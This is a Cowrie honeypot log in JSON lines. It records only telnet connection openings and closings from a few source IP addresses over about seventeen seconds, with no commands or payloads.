{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60574,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a8b1c635cdb","protocol":"telnet","message":"New connection: 69.6.225.50:60574 (159.203.135.109:23) [session: 9a8b1c635cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:16.528751Z"}
{"eventid":"cowrie.session.closed","duration":30.86762523651123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:16.536375Z","src_ip":"69.6.225.50","session":"dfbfe374d092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38868,"dst_ip":"10.17.0.5","dst_port":23,"session":"02a20d56a8b6","protocol":"telnet","message":"New connection: 144.79.218.12:38868 (10.17.0.5:23) [session: 02a20d56a8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:16.833911Z"}
{"eventid":"cowrie.session.closed","duration":30.66833782196045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:17.050929Z","src_ip":"69.6.225.50","session":"49ca814f869a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958277463912964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:17.251983Z","src_ip":"69.6.225.50","session":"7d7448505354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38870,"dst_ip":"10.17.0.5","dst_port":23,"session":"92eade0493c3","protocol":"telnet","message":"New connection: 144.79.218.12:38870 (10.17.0.5:23) [session: 92eade0493c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:17.287943Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60590,"dst_ip":"159.203.135.109","dst_port":23,"session":"95860e0628f4","protocol":"telnet","message":"New connection: 69.6.225.50:60590 (159.203.135.109:23) [session: 95860e0628f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:17.291799Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b4cf3fdd105","protocol":"telnet","message":"New connection: 69.6.225.50:60594 (159.203.135.109:23) [session: 5b4cf3fdd105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:17.386549Z"}
{"eventid":"cowrie.session.closed","duration":36.16734576225281,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:17.398334Z","src_ip":"144.79.218.12","session":"6b2ad4f0110d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60602,"dst_ip":"159.203.135.109","dst_port":23,"session":"6326801acce8","protocol":"telnet","message":"New connection: 69.6.225.50:60602 (159.203.135.109:23) [session: 6326801acce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:17.456947Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38886,"dst_ip":"10.17.0.5","dst_port":23,"session":"718b8e456484","protocol":"telnet","message":"New connection: 144.79.218.12:38886 (10.17.0.5:23) [session: 718b8e456484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:17.499689Z"}
{"eventid":"cowrie.session.closed","duration":35.002827167510986,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:18.539364Z","src_ip":"144.79.218.12","session":"809e95dac341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38810,"dst_ip":"159.203.135.109","dst_port":23,"session":"50056bfb829a","protocol":"telnet","message":"New connection: 69.6.225.50:38810 (159.203.135.109:23) [session: 50056bfb829a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:18.564430Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53392,"dst_ip":"159.203.135.109","dst_port":23,"session":"249014941ee1","protocol":"telnet","message":"New connection: 185.15.23.59:53392 (159.203.135.109:23) [session: 249014941ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:18.693962Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38814,"dst_ip":"159.203.135.109","dst_port":23,"session":"01efcbd8f2fe","protocol":"telnet","message":"New connection: 69.6.225.50:38814 (159.203.135.109:23) [session: 01efcbd8f2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:18.783248Z"}
{"eventid":"cowrie.session.closed","duration":35.45551061630249,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:18.890249Z","src_ip":"144.79.218.12","session":"cab4cbedc313","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57816767692566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:19.096184Z","src_ip":"69.6.225.50","session":"561c31325ff4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.28371262550354,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:19.434737Z","src_ip":"69.6.225.50","session":"a31f556276e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38818,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc4239fc81e1","protocol":"telnet","message":"New connection: 69.6.225.50:38818 (159.203.135.109:23) [session: cc4239fc81e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:19.740634Z"}
{"eventid":"cowrie.session.closed","duration":31.611877918243408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:19.786124Z","src_ip":"69.6.225.50","session":"2d977c6f327b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.227179527282715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:20.120262Z","src_ip":"69.6.225.50","session":"ed801b97a9dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694061279296875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:20.264821Z","src_ip":"69.6.225.50","session":"e58b67d03cf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.19889497756958,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:20.480711Z","src_ip":"144.79.218.12","session":"b2f15b9430ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":59768,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e6a2c3306f9","protocol":"telnet","message":"New connection: 185.15.23.59:59768 (159.203.135.109:23) [session: 3e6a2c3306f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:20.883569Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38832,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8945d999ee6","protocol":"telnet","message":"New connection: 69.6.225.50:38832 (159.203.135.109:23) [session: a8945d999ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:20.931023Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38844,"dst_ip":"159.203.135.109","dst_port":23,"session":"747a21ab1643","protocol":"telnet","message":"New connection: 69.6.225.50:38844 (159.203.135.109:23) [session: 747a21ab1643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:21.033783Z"}
{"eventid":"cowrie.session.closed","duration":35.06782388687134,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:21.048918Z","src_ip":"144.79.218.12","session":"4cf90b90dc98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.355331659317017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:21.124349Z","src_ip":"69.6.225.50","session":"17ca1d23cf5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35676,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4e5d7182fe6","protocol":"telnet","message":"New connection: 185.15.23.59:35676 (159.203.135.109:23) [session: b4e5d7182fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:22.420096Z"}
{"eventid":"cowrie.session.closed","duration":30.231740713119507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:23.121885Z","src_ip":"69.6.225.50","session":"9e96bd1e8ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.484911918640137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:23.282480Z","src_ip":"69.6.225.50","session":"6ce76517275c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474034547805786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:23.511765Z","src_ip":"69.6.225.50","session":"7e03eae5fe83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38856,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9a561d6cab7","protocol":"telnet","message":"New connection: 69.6.225.50:38856 (159.203.135.109:23) [session: a9a561d6cab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:24.259537Z"}
{"eventid":"cowrie.session.closed","duration":30.406747579574585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:24.308394Z","src_ip":"185.15.23.59","session":"93363ebc8d74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38870,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4f7ea71872f","protocol":"telnet","message":"New connection: 69.6.225.50:38870 (159.203.135.109:23) [session: d4f7ea71872f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:24.356408Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38882,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f210e069c1a","protocol":"telnet","message":"New connection: 69.6.225.50:38882 (159.203.135.109:23) [session: 4f210e069c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:24.687631Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":42744,"dst_ip":"159.203.135.109","dst_port":23,"session":"466a6ff95899","protocol":"telnet","message":"New connection: 185.15.23.59:42744 (159.203.135.109:23) [session: 466a6ff95899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:24.910724Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38886,"dst_ip":"159.203.135.109","dst_port":23,"session":"56342bd00990","protocol":"telnet","message":"New connection: 69.6.225.50:38886 (159.203.135.109:23) [session: 56342bd00990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:25.498235Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53380,"dst_ip":"10.17.0.5","dst_port":23,"session":"2959eb10ea1b","protocol":"telnet","message":"New connection: 144.79.218.12:53380 (10.17.0.5:23) [session: 2959eb10ea1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:26.031297Z"}
{"eventid":"cowrie.session.closed","duration":30.94866919517517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:26.086561Z","src_ip":"69.6.225.50","session":"096897746a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.63651204109192,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:26.099629Z","src_ip":"5.61.90.139","session":"0f2d5220fe43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.441901206970215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:26.168784Z","src_ip":"69.6.225.50","session":"441987a5df5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38896,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c8d62004fab","protocol":"telnet","message":"New connection: 69.6.225.50:38896 (159.203.135.109:23) [session: 7c8d62004fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:26.266671Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47346,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2cc05768480","protocol":"telnet","message":"New connection: 185.15.23.59:47346 (159.203.135.109:23) [session: e2cc05768480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:26.541634Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":38910,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5f2f14fa069","protocol":"telnet","message":"New connection: 69.6.225.50:38910 (159.203.135.109:23) [session: f5f2f14fa069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:26.610144Z"}
{"eventid":"cowrie.session.closed","duration":32.5134379863739,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:26.652536Z","src_ip":"144.79.218.12","session":"66c017498cc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05128574371338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:26.937826Z","src_ip":"69.6.225.50","session":"a48f8e340a8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.187316179275513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:27.058429Z","src_ip":"69.6.225.50","session":"65030fe80242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.50419807434082,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:27.084403Z","src_ip":"144.79.218.12","session":"ff04843db97d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53384,"dst_ip":"10.17.0.5","dst_port":23,"session":"e121d9db1842","protocol":"telnet","message":"New connection: 144.79.218.12:53384 (10.17.0.5:23) [session: e121d9db1842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:27.351874Z"}
{"eventid":"cowrie.session.closed","duration":30.481528520584106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:27.388991Z","src_ip":"185.15.23.59","session":"1a5c2fdc7f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389779567718506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:28.076741Z","src_ip":"69.6.225.50","session":"53861dcda05d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53398,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9ebe6f26fbf","protocol":"telnet","message":"New connection: 144.79.218.12:53398 (10.17.0.5:23) [session: d9ebe6f26fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:28.148397Z"}
{"eventid":"cowrie.session.closed","duration":39.46088719367981,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:28.456668Z","src_ip":"5.61.90.139","session":"2e12e4c7bd96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.633838176727295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:29.328823Z","src_ip":"69.6.225.50","session":"3595a625d70f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":54890,"dst_ip":"159.203.135.109","dst_port":23,"session":"95fcfadf6e30","protocol":"telnet","message":"New connection: 185.15.23.59:54890 (159.203.135.109:23) [session: 95fcfadf6e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:29.533255Z"}
{"eventid":"cowrie.session.closed","duration":31.116597890853882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:29.650452Z","src_ip":"185.15.23.59","session":"0e068f32804a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.6587119102478,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:29.749665Z","src_ip":"144.79.218.12","session":"933d127cd50c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.846696138381958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:29.907668Z","src_ip":"69.6.225.50","session":"359062198972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777427434921265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:30.160051Z","src_ip":"69.6.225.50","session":"e2e91961eea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053711414337158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:30.184359Z","src_ip":"69.6.225.50","session":"7ee3ef709806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948161840438843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:30.224939Z","src_ip":"185.15.23.59","session":"00cb353b668c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593767166137695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:30.283574Z","src_ip":"69.6.225.50","session":"577ea87e939f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56938,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a142852a4fb","protocol":"telnet","message":"New connection: 69.6.225.50:56938 (159.203.135.109:23) [session: 6a142852a4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:30.373314Z"}
{"eventid":"cowrie.session.closed","duration":31.23215413093567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:30.657958Z","src_ip":"69.6.225.50","session":"a2dec331f86e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.012489318847656,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:30.947712Z","src_ip":"69.6.225.50","session":"d825bd5d351a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.219728469848633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:31.093665Z","src_ip":"69.6.225.50","session":"261413bad017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658944368362427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:31.143456Z","src_ip":"185.15.23.59","session":"3b5cc7317da1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56950,"dst_ip":"159.203.135.109","dst_port":23,"session":"89e6144187f7","protocol":"telnet","message":"New connection: 69.6.225.50:56950 (159.203.135.109:23) [session: 89e6144187f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:31.262700Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56954,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b63f055c584","protocol":"telnet","message":"New connection: 69.6.225.50:56954 (159.203.135.109:23) [session: 0b63f055c584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:31.386911Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":59584,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5669f458a36","protocol":"telnet","message":"New connection: 185.15.23.59:59584 (159.203.135.109:23) [session: d5669f458a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:31.402500Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60600,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a8b11247d8b","protocol":"telnet","message":"New connection: 185.15.23.59:60600 (159.203.135.109:23) [session: 8a8b11247d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:31.732229Z"}
{"eventid":"cowrie.session.closed","duration":31.619046449661255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:31.787129Z","src_ip":"185.15.23.59","session":"ea46521ecf88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14512801170349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:32.053597Z","src_ip":"69.6.225.50","session":"63b9c847de8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.376113414764404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:32.095556Z","src_ip":"69.6.225.50","session":"078d465f5bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86796808242798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:32.328876Z","src_ip":"185.15.23.59","session":"128a4adcbf29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192463159561157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:32.736726Z","src_ip":"185.15.23.59","session":"e9654cf3b73c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35494,"dst_ip":"159.203.135.109","dst_port":23,"session":"e642637ac1ba","protocol":"telnet","message":"New connection: 185.15.23.59:35494 (159.203.135.109:23) [session: e642637ac1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:32.820760Z"}
{"eventid":"cowrie.session.closed","duration":38.223517417907715,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:32.916692Z","src_ip":"144.79.218.12","session":"839409c10f87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.297452449798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:33.065276Z","src_ip":"69.6.225.50","session":"2793f95662b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.638049840927124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:33.078761Z","src_ip":"69.6.225.50","session":"b55e9607aa1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.264676809310913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:33.160404Z","src_ip":"69.6.225.50","session":"185bfd4ee2f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22607398033142,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:33.221941Z","src_ip":"69.6.225.50","session":"eaa90b3c8398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.48378300666809,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:33.375221Z","src_ip":"144.79.218.12","session":"5a39dcefc672","protocol":"telnet"}
